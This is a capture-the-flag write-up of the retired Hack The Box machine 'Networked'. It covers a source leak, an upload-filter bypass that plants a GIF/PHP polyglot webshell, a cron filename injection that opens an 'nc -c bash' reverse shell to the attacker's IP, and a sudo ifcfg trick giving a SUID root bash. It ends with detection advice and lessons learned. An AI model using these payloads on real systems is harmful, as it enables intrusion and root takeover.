root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat networked.md
// writeups

Networked

24 Aug 2019 · 23 min read
Networked - maquina de Hack The Box

Executive summary — Networked exposes a source-code backup through a forgotten directory listing, which turns the attack into a white-box exercise: reading upload.php/lib.php reveals how to build a .php.jpg filename that passes both the extension whitelist and the MIME-type check, and that Apache still executes because of a badly anchored AddHandler directive — RCE as apache. From there, a cron job that's supposed to watch for attacks (check_attack.php) turns out to be vulnerable to command injection through the filename itself, granting access as guly (user.txt). The final jump to root abuses a sudo script that writes a network configuration without quoting: once "sourced" by ifup, a value containing a space is interpreted as a variable assignment followed by the execution of an arbitrary command as root.

PlatformHack The Box
Operating systemLinux (CentOS Linux 7.6.1810)
DifficultyEasy
StatusRetired
Target IP10.129.48.147

Attack map

[80/HTTP] /backup -- directory listing enabled -> backup.tar (PHP source)
   │
   ▼
[upload.php] Upload whitelist bypass -- double extension .php.jpg +
              GIF header (magic bytes)
   │  AddHandler php5-script .php (not anchored to the end) -> Apache
   │  executes the intermediate ".php" in the filename
   ▼
[RCE] apache -- polyglot webshell uploaded to /uploads
   │  guly's cron job (check_attack.php) interpolates the unsanitized
   │  FILENAME straight into exec()
   ▼
[SSH] guly (user.txt)
   │  sudo NOPASSWD /usr/local/sbin/changename.sh -> ifup "sources" the
   │  generated ifcfg as if it were a bash script
   ▼
[ROOT] NAME=x /tmp/x executed as root when the interface loads (root.txt)

1. Reconnaissance

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.48.147
Not shown: 65483 filtered tcp ports (no-response), 49 filtered tcp ports (host-prohibited)
PORT    STATE  SERVICE
22/tcp  open   ssh
80/tcp  open   http
443/tcp closed https

Two useful details before even touching the services: a ping comes back with ttl=63 — one router hop away from an initial TTL of 64, typical of Linux. And the host-prohibited filtering reason (ICMP type 3, code 10) is the characteristic response of firewalld/iptables with REJECT --reject-with icmp-host-prohibited, the default rule on RHEL/CentOS — the distro can be guessed before a single banner is seen.

sudo nmap -p22,80 -sCV -Pn -oN nmap-services.txt 10.129.48.147
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

OpenSSH 7.4 + Apache 2.4.6 + PHP 5.4.16 confirm CentOS 7. PHP 5.4 has been unsupported since 2015: a good sign the vector will be in the web app.

curl -s http://10.129.48.147/
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

The HTML comment upload and gallery not yet linked is the tell: functionality has been deployed but not linked from the index page. "Not linked" isn't an access control.

gobuster dir -u http://10.129.48.147/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -t 20 -x php,txt,html -q -o gobuster80.txt
/index.php            (Status: 200) [Size: 229]
/uploads              (Status: 301) [--> http://10.129.48.147/uploads/]
/photos.php           (Status: 200) [Size: 1302]
/upload.php           (Status: 200) [Size: 169]
/lib.php              (Status: 200) [Size: 0]
/backup               (Status: 301) [--> http://10.129.48.147/backup/]

2. Source code leak

/backup/ has directory listing enabled (Options +Indexes):

curl -s http://10.129.48.147/backup/ | sed 's/<[^>]*>//g' | grep -vE '^\s*$'
Index of /backup
Parent Directory
backup.tar             2019-07-09 13:33   10K
wget http://10.129.48.147/backup/backup.tar
mkdir src && tar -xf backup.tar -C src && ls -l src/
-rw-r--r-- 1 kali kali  229 Jul  9  2019 index.php
-rw-r--r-- 1 kali kali 2001 Jul  2  2019 lib.php
-rw-r--r-- 1 kali kali 1871 Jul  2  2019 photos.php
-rw-r--r-- 1 kali kali 1331 Jul  2  2019 upload.php

Having the code turns this into a white-box attack: instead of guessing the upload filter blindly, it can be read.

3. Upload filter bypass

upload.php applies three checks to the incoming file:

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
  echo '<pre>Invalid image file.</pre>';
  displayform();
}

list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
  if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
    $valid = true;
  }
}
if (!($valid)) { echo "<p>Invalid image file</p>"; displayform(); exit; }

$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
CheckImplementationHow it's satisfied
File typecheck_file_type() → finfo_file(), requires a MIME type starting with image/It's enough for the first bytes to be an image header (GIF89a;). libmagic looks at the content, not the rest of the file.
Extensionsubstr_compare() requires the name to end in .jpg/.png/.gif/.jpegThe name ends in .jpg; nothing stops it from containing .php earlier.
Size< 60000 bytesTrivial.

The key is in how the final name is built, in lib.php:

function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);          // "shell"
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);          // "php.jpg"  <- keeps EVERYTHING but the first piece
  return array($name,$ext);
}

For shell.php.jpg the computed extension is php.jpg (not jpg), and the file is saved under the name produced by str_replace('.','_','<ATTACKER_IP>') . '.' . 'php.jpg', i.e. 10_10_15_118.php.jpg.

The file keeps an intermediate .php. That only matters because of the Apache config on CentOS 7:

grep -vE '^\s*#|^\s*$' /etc/httpd/conf.d/php.conf
AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php

Apache's AddHandler is not anchored to the end of the name: it acts on any extension the file has. Apache treats filenames as a list of dot-separated extensions, so 10_10_15_118.php.jpg carries both php and jpg, and the first one triggers the php5-script handler.

This class of bug —where Apache fires a handler based on an extension appearing anywhere in the name, not just at the end— is known as multi-extension content-type confusion, and it's the exact reason modern configuration recommends <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch>, which does anchor to the end of the name. Legacy php.conf files using AddHandler gradually disappeared from distros for this exact reason, though as of 2019 CentOS 7 was still shipping the php package with the old directive.

4. RCE as apache

A polyglot is built: a valid GIF header followed by PHP code.

printf 'GIF89a;\n<?php if(isset($_REQUEST["c"])){echo "<pre>";system($_REQUEST["c"]." 2>&1");echo "</pre>";} ?>\n' > shell.php.jpg

file --mime-type shell.php.jpg
shell.php.jpg: image/gif      <- passes check_file_type()
curl -s -F "myFile=@shell.php.jpg" -F "submit=go!" http://10.129.48.147/upload.php
<p>file uploaded, refresh gallery</p>

The destination filename is deterministic (derived from our VPN IP, <ATTACKER_IP>):

curl -s "http://10.129.48.147/uploads/10_10_15_118.php.jpg?c=id;uname%20-a;pwd"
GIF89a;
uid=48(apache) gid=48(apache) groups=48(apache)
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64
/var/www/html/uploads

A small wrapper to work comfortably:

#!/bin/bash
python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$1" > /tmp/.q
curl -s "http://10.129.48.147/uploads/10_10_15_118.php.jpg?c=$(cat /tmp/.q)" | sed '1d' | sed 's|</\?pre>||g'

5. From apache to guly — command injection in the cron job

./run.sh 'ls -la /home/guly; cat /home/guly/crontab.guly; cat /home/guly/check_attack.php'
-r--r--r--. 1 root root  782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root   44 Oct 30  2018 crontab.guly
-r--------. 1 guly guly   33 Aug 21 15:35 user.txt
*/3 * * * * php /home/guly/check_attack.php

Confirmed in the real spool (/var/spool/cron/guly). A cron job running as guly every 3 minutes over a directory that apache can write to. The code:

$path = '/var/www/html/uploads/';
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
  if ($value == 'index.html') continue;
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {                                   // the prefix is NOT a valid IP
    echo "attack!\n";
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");   // <- $value NOT sanitized
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

The irony is that the routine meant to detect attacks is the vulnerable one. $value is an attacker-controlled filename that gets interpolated straight into exec().

Conditions the filename must satisfy:

  • Can't start with . — preg_grep('/^([^.])/').
  • The piece before the first . (with _→.) must not be a valid IP, to reach the if (!($check[0])) branch.
  • Can't contain / — it's a POSIX filename.

The last point rules out the usual payloads (nc -e /bin/bash, bash -i >& /dev/tcp/...). The fix is ncat -c, which hands the command to /bin/sh -c and therefore resolves bash through PATH, no absolute paths needed — confirmed ncat was available with ./run.sh 'ls /usr/bin/nc /usr/bin/ncat /usr/bin/socat'.

Since the resulting shell isn't interactive, a listener fed by a FIFO is set up so commands can be injected from another terminal:

mkfifo nfifo; : > cmds.txt
(setsid tail -f cmds.txt > nfifo 2>/dev/null &)   # keeps the FIFO open
(setsid nc -lvnp 4444 < nfifo > shell.log 2>&1 &)

tail -f is what stops nc from seeing EOF on stdin after the first command. The trigger:

./run.sh "cd /var/www/html/uploads && touch -- '; nc -c bash <ATTACKER_IP> 4444;' && ls -la"
-rw-r--r--  1 apache apache    0 Aug 21 15:50 ; nc -c bash <ATTACKER_IP> 4444;

When the cron job processes that file, the line it runs as guly looks like this:

nohup /bin/rm -f /var/www/html/uploads/; nc -c bash <ATTACKER_IP> 4444; > /dev/null 2>&1 &
#                └── command 1 (fails) ─┘└──── command 2: our shell ────┘└─ command 3 ─┘

Only the third command gets backgrounded, so the reverse shell (command 2) runs in the foreground and stays alive:

connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.48.147] 42554
ssh-keygen -t rsa -b 2048 -f id_guly -N '' -q
{ echo "id; cat /home/guly/user.txt";
  echo "mkdir -p ~/.ssh && echo '$(cat id_guly.pub)' > ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys";
} >> cmds.txt
uid=1000(guly) gid=1000(guly) groups=1000(guly)
a5d253145e46912462a4e26321720d31

user.txt: a5d253145e46912462a4e26321720d31

From here, stable, TTY-backed access:

ssh -i id_guly guly@10.129.48.147

6. Privilege escalation — sudo over changename.sh

sudo -n -l
User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

There's validation… but the character class includes space and slash: ^[a-zA-Z0-9_\ /-]+$. ;, |, $, backticks and quotes are all blocked, so there's no direct shell injection in changename.sh. Execution arrives from somewhere else.

The real bug: ifup sources the file. /sbin/ifup ends up calling source_config() in /etc/sysconfig/network-scripts/network-functions:

source_config ()
{
    CONFIG=${CONFIG##*/}
    DEVNAME=${CONFIG##ifcfg-}
    . /etc/sysconfig/network-scripts/$CONFIG      # <- the ifcfg is INTERPRETED as a bash script

The config file isn't parsed: it's executed via . (source). And changename.sh writes the line with echo $var=$x unquoted, so the value is copied verbatim. In Bash, the line NAME=a /tmp/x isn't an assignment: it's an invocation of the command /tmp/x with the variable NAME=a set in its environment. When the ifcfg is sourced as root, that command runs as root.

Since the filter rejects ;, . and quotes, a complex one-liner can't be written directly into the value. But it does allow /, letters and digits: pointing at a script of our own on a dot-free path, e.g. /tmp/x, is enough.

cat > /tmp/x <<"EOS"
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
id > /tmp/proof
cat /root/root.txt > /tmp/rootflag 2>&1
chmod 644 /tmp/proof /tmp/rootflag
EOS
chmod +x /tmp/x
printf 'a /tmp/x\nnone\nno\ndhcp\n' | sudo /usr/local/sbin/changename.sh
interface NAME:
interface PROXY_METHOD:
interface BROWSER_ONLY:
interface BOOTPROTO:
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

The ifup error is irrelevant: the source happens before the device-existence check.

cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=a /tmp/x        <- executed when sourced
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=dhcp
cat /tmp/proof /tmp/rootflag; ls -la /tmp/rootbash
uid=0(root) gid=0(root) groups=0(root)
84c26ee06c47a183f46c665f422e5a65
-rwsr-xr-x 1 root root 964608 Aug 21 15:53 /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(guly) gid=1000(guly) euid=0(root) groups=1000(guly)
84c26ee06c47a183f46c665f422e5a65

root.txt: 84c26ee06c47a183f46c665f422e5a65

Interactive variant: with a real TTY, simply entering a /bin/bash as the NAME value returns a direct root shell. The helper script in /tmp/x is used here because it can be automated over a non-interactive SSH session and leaves reproducible evidence.

Vulnerability summary

PhaseComponentVulnerabilityImpact
Recon/backup/Directory listing enabled (CWE-548) exposing backup.tar with the source code (CWE-540)White-box attack on upload.php/lib.php
Footholdupload.php / lib.phpUpload whitelist bypassable via double extension + magic bytes (CWE-434).php.jpg file accepted into /uploads
Foothold/etc/httpd/conf.d/php.confAddHandler php5-script .php not anchored to the end of the name (CWE-16)RCE as apache via a GIF/PHP polyglot
App-level escalationcheck_attack.php (guly's cron job)Attacker-controlled filename interpolated unescaped into exec() (CWE-78)RCE as guly (user.txt)
PrivEsc/usr/local/sbin/changename.sh (sudo NOPASSWD) + network-functionsUnquoted config value, executed by ifup via source (CWE-78 / CWE-250)Root via SUID bash (root.txt)

Detection

  • Requests to a resource with Options +Indexes followed by downloading a file that should never sit in a public directory (.tar, .zip, .sql) — a WAF or Apache's own access log can alert on an extension being served outside the site's expected set.
  • A POST to an upload endpoint followed, seconds later, by a GET to the just-uploaded file with a previously unseen query parameter (?c=) — the near-perfect signature of a freshly planted and used webshell.
  • The "attack detection" cron itself writing entries to attacks.log with filenames that aren't IP addresses — ironically, that log is the best early-warning source if it's shipped to a SIEM instead of staying on local disk.
  • sudo invocations of /usr/local/sbin/changename.sh outside a network-maintenance window — /var/log/secure on RHEL/CentOS records every sudo execution with the full command, so the cadence and timing alone are a signal.
  • New SUID binaries appearing outside the system's base inventory — a periodic find / -perm -4000 sweep (or a file-integrity tool like AIDE) catches a /tmp/rootbash on the very first cycle.

Lessons learned

  • A directory listing left enabled in production (Options +Indexes) can leak an application's entire source code and turn any later assessment into a white-box exercise.
  • Validating an upload extension requires anchoring the check to the real end of the constructed name — rebuilding the name from fragments (explode('.', ...)) without revalidating the result reintroduces the exact bug the whitelist was meant to prevent.
  • Apache's AddHandler acts on any extension in the name, not just the last one; <FilesMatch \.php$> is the correct way to anchor a handler.
  • A cron job built to "detect attacks" that interpolates attacker-controlled data (the filename) into exec() without escaping it is, by itself, the most dangerous attack surface on the box — good intentions in the code don't make it safe.
  • Any sudo script that writes network configuration must quote its values: on RHEL/CentOS, ifup runs ifcfg-* files as bash scripts via source, so an unquoted VAR=value line where the value contains a space stops being an assignment and becomes arbitrary command execution as root.